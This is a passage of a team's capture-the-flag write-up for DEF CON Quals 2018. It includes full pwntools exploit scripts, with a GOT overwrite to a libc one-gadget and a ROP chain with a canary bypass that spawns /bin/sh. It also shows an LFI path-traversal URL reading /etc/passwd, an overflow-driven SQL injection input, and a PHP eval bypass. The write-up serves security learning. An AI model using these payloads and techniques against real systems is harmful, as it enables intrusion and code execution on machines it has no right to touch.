def modify_transmission(gears,ratio,gear):  r.recvuntil("E: ")  r.sendline("4")  r.recvuntil("? ")  r.sendline(str(gears))  r.recvuntil("gear ratio for gear " + str(gears) + " is ")  addr = r.recvuntil(", mo")[:-4]  r.recvuntil(": ")  r.sendline(str(ratio))  r.recvuntil(")")  r.sendline(str(gear))  return addr
def buy():  r.recvuntil("E: ")  r.sendline("5")
def race():  r.recvuntil("E: ")  r.sendline("6")
if __name__ == '__main__':  print "start"  tires(0x8000000)  transmission(1)  chassis(1)  engine()  modify_tires_w(0xffff)  modify_tires_a(0xffff)  modify_tires_c(0xffff)  modify_tires_d(0xffff)  addr = ""  for i in xrange(8):    addr += chr(int(modify_transmission(0xffffffffffffff70+i,0x44,0)))  heap = u64(addr) - 0xe0  print "heap =", hex(heap)  h = -0xa0  puts_got = 0x603020
  leak = ((puts_got - heap) - 0x90 - 0x10)&0xffffffffffffffff  addr = ""  for i in xrange(8):    addr += chr(int(modify_transmission(leak+i,0x44,0)))  puts = u64(addr)  libc.address = puts - libc.symbols["puts"]  print "libc.address =" , hex(libc.address)  exit_got = 0x0603060  magic = libc.address + 0xf1147  leak = ((exit_got - heap) - 0x90-0x10)&0xffffffffffffffff  print hex(magic)  for i in xrange(8):    modify_transmission(leak+i,ord(p64(magic)[i]),1)  buy()  tires(1)  r.sendline("ls")
  r.interactive()```### Say Hi!
You can send anything as the flag !!`OOO{Happy Mother's Day!!}``
### exzendtential-crisis (unsolved)
After loggin in, we found a LFI vulnerability.`http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../etc/passwd`
We retrive these files from the server:
- All PHP source code, but `flag.php` is WAFed.- /etc/php7/apache2/php.ini (not sure, I forget the exact location)- /usr/lib/php/20151012/mydb.so (found the path in php.ini)- /var/lib/mydb/mydb.db (found the path in mydb.so)
The main problem is the customized functions, `check_redential`, `get_user_id` .... Those function use PHP extension, written in C++, in `mydb.so`.
A quick reverse engineering will find a interesting function `check_hacker_attempt`. You can found the source code [in the official repo](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69). the `strcpy` leads to a buffer overflow. It copies a `std::string` to a 100 byte C string.
Our main objective is to make `get_user_id()` return 1, which is the admin's user id. Exploiting the buffer overflow can [overwrite the table_name](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69).
Here is the evil input: `print("A"*112+"users where rowid=1;--")`
The SQL query becomes:
```select rowid from users where rowid=1;-- where username = '...' and password = '...';```
Then the query returns 1. We are the admin now. Visit `flag.php` and get the flag!
Postscript: We fail to solve this because the reversing of `strcyp` tends to be confusing here. The code below is equal to `strcpy`. However, we somehow missed this part :(
```c++v5 = str_len + 1;if ( v5 >= 8 ){  *(_QWORD *)to_check = *(_QWORD *)username;  *(_QWORD *)&to_check[v5 - 8] = *(_QWORD *)&username[v5 - 8];  qmemcpy(    (void *)((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL),    (const void *)(username - &to_check[-((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL)]),    8LL * ((v5 + (_DWORD)to_check - (((_DWORD)to_check + 8) & 0xFFFFFFF8)) >> 3));}else if ( v5 & 4 ){  *(_DWORD *)to_check = *(_DWORD *)username;  *(_DWORD *)&to_check[v5 - 4] = *(_DWORD *)&username[v5 - 4];}else if ( v5 ){  *to_check = *username;  if ( v5 & 2 )    *(_WORD *)&to_check[v5 - 2] = *(_WORD *)&username[v5 - 2];}v12 = sub_34E0;v11 = (__int64 (__fastcall *)(char *, __int64, int))sub_3220;```
## Guest Chefs
### PHP Eval White-List
- run ` die("`../flag`"); `- `OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}`
### ghettohackers: Throwback
The interval of each '!' is the index of alphabet.
The text is `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`. First we try to find all letters on '!' and get `nwltisoos`.We try lots of possible decryptions like XOR, ord(i) - ord('!'), letters reorganization, affine cipher, Atbash cipher, and many classical ciphers but all failed.Finally, we notice that the place of '!' maybe a hint. We calculate the interval of each '!' and got `[4, 1, 18, 11, 0, 12, 15, 7, 9, 3, 0]`. We think these numbers are the index of alphabet (e.g. `4` is `d`), and write a code to print the answer.
```ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'sp = ori.split('!')print repr(''.join(chr(97 + len(s) - 1) for s in sp))```
### ddtek: Preview
#### reverse
* Use `IDA pro` to decompile the binary.* At first galance, we cannot get any useful information.* Use `gdb` and find out that it will mmap a new area for `real program`* There is a function which will do some xor stuff on `0x602000` and mmap an memory area for it. That is real program* In `gdb`, you can do this `dump binary memory result.bin 0x602000 0x605000`
* Now we have the real program.
#### exploit1. Use the string "HEAL /proc/self/maps" to get the code address and /lib/x86_64-linux-gnu/ld-2.23.so address2. canary is combined by code address and /lib/x86_64-linux-gnu/ld-2.23.so address 3. make the program stack overflow, bypass the canary, and use ROP to get shell
```python=from pwn import *import sysimport timeimport randomhost = 'cee810fa.quals2018.oooverflow.io'port = 31337
binary = "./preview"context.binary = binaryelf = ELF(binary)try:  libc = ELF("./libc.so.6")  log.success("libc load success")  system_off = libc.symbols.system  log.success("system_off = "+hex(system_off))except:  log.failure("libc not found !")
if len(sys.argv) == 1:  r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})  #r = remote("127.0.0.1" ,4444)
else:  r = remote(host ,port)  r.recvuntil("Challenge: ")  Challenge = r.recvuntil("\n")[:-1]  r.recvuntil("n:")  n = r.recvuntil("\n")[:-1]  r.recvuntil("Solution:")  p = process(["/usr/bin/python", "./pow.py",Challenge ,n ])  print "pow..."  p.recvuntil("Solution: ")  ans = p.recvuntil(" ")[:-1]  r.sendline(ans)
if __name__ == '__main__':  print "start"  r.recvuntil("Standing by for your requests\n")  r.sendline("HEAD /proc/self/maps\x00" + "A"*0x42)  r.recvuntil("Here's your preview:\n")  data = r.recvuntil("\n")  if "/lib/x86_64-linux-gnu/ld-2" in data:    ld_addr = data[:data.find("-")]    r.recvuntil("\n")    r.recvuntil("\n")    data = r.recvuntil("\n")    if "r-xp" in data:      code = data[:data.find('-')]    else:      data = r.recvuntil("\n")      code = data[:data.find('-')]  elif "r-xp" in data:    code = data[:data.find('-')]    r.recvuntil("\n")    r.recvuntil("\n")    data = r.recvuntil("\n")    ld_addr = data[:data.find("-")]  ld_addr = int(ld_addr,16)  code = int(code,16)  pop_rdi = 0x00000000000010b3 + code  pop_rsi_1 = 0x00000000000010b1 + code  puts_got = code + 0x202020  puts_plt = code + 0x0009E0  read_plt = code + 0x000A60  pop_rsp_3 = code + 0x00000000000010ad  print "code =", hex(code)  print "ld_addr =" ,hex(ld_addr)  canary = (code/0x1000 + ld_addr/0x1000 * 0x10000000)*0x100  print "canary =" , hex(canary)  raw_input("@")  r.sendline("A"*88 + p64(canary) +"A"*8+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt)  + p64(pop_rdi) + p64(0) + p64(pop_rsi_1) + p64(code + 0x0202800) + p64(0) + p64(read_plt) + p64(pop_rsp_3) + p64(code + 0x0202800))  r.recvuntil("Malformed request\n")
  puts = u64(r.recv(6).ljust(8,"\x00"))  libc.address = puts - libc.symbols['puts']  print "libc.address =" , hex(libc.address)  r.sendline("A"*24 + p64(pop_rdi) + p64(code + 0x0202800+0x30) + p64(libc.symbols['system']) + "/bin/sh\x00")
  r.interactive() ```
